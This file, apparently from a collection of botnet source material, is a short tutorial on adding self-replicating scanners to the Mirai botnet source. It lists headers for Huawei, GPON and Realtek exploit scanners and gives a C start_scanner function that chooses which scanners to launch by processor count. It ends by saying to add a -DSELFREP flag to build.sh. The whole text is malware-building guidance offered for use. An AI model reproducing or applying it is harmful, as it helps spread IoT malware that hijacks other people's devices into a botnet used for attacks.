Path: blob/master/Botnets/Self Reps/howaddselfrep.txt
5038 views
Welcome Back, Toady Im Showing You How To Add A Selfrep Into A Mirai Source, This Is One Of Multiple Ways To Do This.12First We Need To Include The Selfreps Headers By Adding34These Will Vary Depending On Your Selfreps.56#include "huawei_scanner.h"7#include "gpon80_scanner.h"8#include "gpon8080_scanner.h"9#include "realtek_scanner.h"1011Next, We Are Going To Add A Piece Of Code To Make The Reps Work So To Say <312Edit The "ints" To Match The Code You Need. These Can Be Found In The .h Of The Files.13Mine Is Setup For Gpon80, Gpon8080, Realtek And Huawei.1415SelfRep Code:16#ifdef SELFREP17void start_scanner(void)18{19int rand_num = 0, processors = sysconf(_SC_NPROCESSORS_ONLN);2021srand(time(NULL));22rand_num = rand() % 100;2324if(processors > 1)25{26#ifdef DEBUG27printf("[debug] device has 2 or more processors, running both scanners.");28#endif29huaweiscanner_scanner_init();30realtek_scanner();31gpon8080_scanner();32gpon80_scanner();33scanner_init();34} else if(rand_num > 35)35{36gpon8080_scanner();37gpon80_scanner();38} else39{40huaweiscanner_scanner_init();41realtek_scanner();42scanner_init();43}44}45#endif464748Next We Edit The Build.sh By Adding " -DSELFREP" To The Compile Stage.4950Thats Pretty Much It, Besides Editing The Reps To Run For Your Net, But Thats Self Explanitory.51525354555657585960